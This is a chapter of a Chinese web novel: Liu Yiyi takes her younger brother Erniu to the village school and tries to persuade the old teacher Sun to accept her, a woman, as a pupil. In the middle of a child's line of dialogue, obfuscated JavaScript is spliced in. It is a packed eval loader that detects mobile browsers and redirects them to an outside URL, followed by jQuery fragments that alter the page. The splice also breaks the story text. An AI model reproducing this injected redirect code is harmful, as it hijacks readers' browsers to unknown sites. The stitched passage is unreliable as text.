一下解决了心头的两项伪装,柳依依舒心不少。
柳二牛看姐姐眉间尽是喜色,不由闲聊了起来。
“姐,你莫不是那日烧糊了饭,早就不想做饭了,才诓着付萍姐姐给我们做?”
“笨,你就这么想的?你不知付家上次那顿饭,都快赶上过年了,我们不得回礼啊。付家哥哥姐姐家里也不比我们好多少,怎么能光吃人白食呢?”
“哦,那直接说是回礼,不就得了?干嘛说成蹭饭。”
“直接给,你觉得他们会收?说蹭饭,这叫迂回之术,懂么!”
“哦,这是不是就是孙夫子说的声东击西?”
“唔,就算是吧。”
隔日,柳依依把从镇上买回的两套笔墨纸砚里分了一套出来,作为送给村里孙夫子的拜师礼。
柳二牛其实有些不明白,自己当初入学堂,不过是扛了半只山猪过去,还是姐姐亲手猎的。怎么轮到姐姐自己,就要送这劳什子的笔墨纸砚?
他都上了大半年的学堂了,还没用过笔墨纸砚呢,姐姐这会儿怎么就舍得买了,还要送给孙夫子那老头儿?
三钱银子啊,能买一石米,够家里吃半年的呢!要是换成糖葫芦,可以买下一百来根,一天一颗,也够他吃两年的。
怎么想都觉得亏。
柳二牛不乐意了,撅着嘴:“姐,你这拜师礼都快赶上我两年的糖葫芦钱了,太不划算了,要不还是我陪你去山里再猎头山猪吧!”
“你们孙老夫子不总是念叨什么‘书中自有黄金屋’嘛,姐姐我是去学本事的,送这些,不亏。”
“夫子是老念叨这些来着,可是也没见着他住上黄金屋啊,还不是住在村里的茅草屋里。”
柳依依猝不及防被噎了一把,尴尬地咳了两声:“那许是时候没到,二牛你可要好好学,说不定能比夫子早些住进黄金屋呢。”
“啊……好吧,那有了黄金屋,是不是就可以天天吃糖葫芦了?”
“嗯,那是自然。”
柳依依有些心累,本来想代替正主好好教育这个憨直弟弟认真学习来着,没想到,一转眼,小馋猫的本性就露出来了。
罢了,眼下他还只是个孩子呢。
临出门前,她将昨日里泡好的麦子,在竹簸箕里摊成薄薄的一层,又在木盆里四个方位各放上一根筷子,将簸箕架上去。缓缓淋了一小瓢水,盖上透气白色粗纱布,将整个木盆搬至水缸旁的阴凉遮光处,才出了门。
“姐,你是准备种麦子吗?可是家里的两亩地还没有犁过呢,也还没有烧荒草。”
“哦,我都忘了自家的地了。”柳依依一拍脑袋。
“我说呢,往年你可不爱耕地。总是忘记,错过时节,最后都是付大哥来帮忙的。”
“好啦好啦,我今年肯定记得的。快走啦,不然赶不上夫子讲学,又要你罚站了!”
柳依依岔开了话题,抱着拜师礼就拖着弟弟出了门。
柳二牛有些茫然,诶,他不是想提醒姐姐去耕地啊,姐姐明明更喜欢打猎嘛,他也喜欢。再说,就泡那么点麦子,好像也不够自家两亩地的。
唉,看来今年地里的庄稼,又得仰仗付大哥了。
出门没走多远,就听见村头方向传来一阵摇铃声。
坏了,等到那三道铃声一过,他可又会被夫子罚站了。说不定,还得留堂诵读呢。
柳二牛撒开脚丫就往村头的私塾方向跑,把柳依依拉得一踉跄:“姐,姐,快点,要迟到了!”
柳依依被刚刚那突然地一跑,惊得无意间吸了冷气,有些咳嗽,停了下来。
“唉,唉,我不等你了,前几日的课文我还没背熟,可不敢再迟到受罚了,我先走了!”柳二牛见拖不动姐姐,慌得一溜烟跑远了。
原来,他还是怕夫子的嘛。
柳依依等停了咳嗽,再看着弟弟往村头疯跑的样子,叉着腰,哈哈笑了起来。然后才慢慢踱着步子,悠闲地跟在后面。
在第三道摇铃声的尾音都快消失的时候,柳二牛唰唰越过了孙老夫子的背影,赶在他老人家进入草屋前,“咚”地一声随便找了个空位坐下。
动作太猛,没坐到草垫上,反而撞上了结实的地面。
“嗞……”柳二牛不禁龇牙咧嘴地去揉撞得生疼的屁股,丝毫没感受到头顶处孙夫子目光如炬的视线。
孙夫子深吸一口气,平缓了受惊的心跳,捋了捋刚刚被刮乱的胡须,整理了仪容,方才迈步进了草屋私塾,在书案前坐下,敲响了手中的戒尺。
“啪!”
开课了。
柳二牛再不敢乱动。
“你来说说,前两日学的什么,带大家一起温习一遍。”孙夫子手持戒尺,首点柳二牛。
柳二牛心头一紧,暗自腹诽。今日真是运气不佳,躲过了迟到,却没躲过考问。
“呃,前两日学的……学的……啊,‘子不学,不知义;人不学,不成器’。”
他绞尽脑汁,憋得满脸通红,灵光一闪,背出了这么一句,开心不已。刚放松了肩膀,又被“啪”的一声响,差点惊掉了魂。
“唉,唉,真是朽木不可雕,气死老夫也!”孙老夫子敲着手里的戒尺,气得下巴上的白须一跳。
柳二牛仍然一脸茫然。
诶,他不是背出来了么,夫子怎么看起来还是不满意。
“柳金宝,你来!”孙老夫子又点了一个靠前的小童。
“是,夫子。前日所学,乃’子不学,非所宜;幼不学,老何为。玉不琢,不成器;人不学,不知义’。”
小童一边背诵,一边摇头晃脑。
孙老夫子听完满意地捋了捋胡须,又指向柳二牛:“听听,可知自己错在何处?”
柳二牛频频点头。
“那再背一遍!”
“啊……”柳二牛惊诧不已。
他刚刚根本没记住。
眼见着再背不出,可就要挨夫子的戒尺了,柳二牛急得如热锅上的蚂蚁,不知怎么办才好。
突然,撇见门口那一袭熟悉的黄布衣衫,大叫道:“夫子,有人找!”
孙老夫子一听,转过头去,看向屋外。
是柳依依到了。
她先是行了一礼,而后示意老夫子出去讲话。
孙老夫子见状放下戒尺,出了屋。
柳二牛长吁一口气,赶紧向旁边的小伙伴耳语了几声,询问刚刚那句话,到底该怎么背。
“二牛,你姐姐来做什么,莫不是来跟先生求情,让你少挨些罚?”一个孩子戏谑道。
“二牛,你老是挨罚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143214|164584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不是读不成书了,你姐姐来领你回家?”另一个孩子也跟着起哄。
柳二牛一时有些气恼,见没人告诉他答案,心思都飞去了屋外,也探着头往门外瞅。
柳依依对着孙老夫子再次躬身行礼后,简短叙述了来意,脸上笑盈盈地,等他点头。
“不妥,我这私塾从未收过女子。”
柳依依正准备把抱着的包袱解开,把礼物呈上。听到这话,不由得手中一顿,脸上一僵。
她从未想过,一开口,便是拒绝。
不过是读个书而已,这也不行?这异世到底还有多少奇奇怪怪的规矩?
她略一思索,整理了心绪,脸上重新挂上了笑意:“敢情我是村里第一个想来读书的女子?”
“或许是。”
“为何女子不可进学堂?”
“因为从未有过。”
“你收我进学堂,便有了呀!”
“不可,从未有此先例。”
“夫子不想做开创先例之人吗?”
“不敢。”
“何处有法,说女子不可识字?”
“并无。”
“难道世间女子皆不识字?就连皇后、宫妃、公主她们也目不识丁?”
“并不。”
“那就是说,女子可以识字咯!”
“当然。”
“那请夫子教我识字吧!”
“不可。”
“为何?”
“唔……从未有此先例……”孙老夫子被柳依依一番询问,弄得有些脑袋发懵。
柳依依被孙老夫子一番回答噎得哑口无言。
罢了,一直这么辩下去,也会给他绕回同样的答案。得想些其他法子。
柳依依开始凝神思索,眼神四处乱转,打量起这座私塾来。
说是私塾,其实就是在孙家宅外加盖了一间简陋的茅草屋。
茅屋长约四丈,宽约两丈。东侧和北侧临着孙家宅墙而建,南侧和西侧则仅有立柱,围着木质栏杆,更像一个半敞开的长亭。
旁边孙家宅子的正门外,探出半张清秀的女子面容。是孙书雪,孙老夫子的独女。
所谓老来得女,分外聪慧。孙书雪四岁时便能背全《千字文》,扶柳村里家喻户晓。
或许是受父亲熏陶,孙书雪自幼犹爱读书,不爱女红家务。只因洛阳纸贵,好书难求,因着父亲与镇上学堂的先生熟识,便常去学堂里代父借书还书。
这一来二去,便与学堂里一位陈姓书生熟识。孙老夫子见对方文采不错,才气风流,家境也可,就默许了两人的关系。
孙书雪十六岁时,被对方求娶过门。那时花轿红妆,礼炮喧天,村里分外喜庆热闹。
可惜好景不长,不过五年,就被陈家休妻另娶,只因她五年无所出。还说她一不理家务,二不孝敬公婆,整日里只晓得捧着书本偷懒,就把她赶回了家。
孙书雪性格本就娴静,经此一事,更是不爱出门。孙老夫子因为此事也觉得面上无光,除了私塾之事,也鲜少出门。
村里人其实并不觉得孙家有什么错处,也不觉得孙书雪真如陈家所说那般无理不堪。加之敬重孙老夫子为人,也很少提起此事。
但看到孙书雪的一刹那,柳依依脑中白光一闪,有了主意。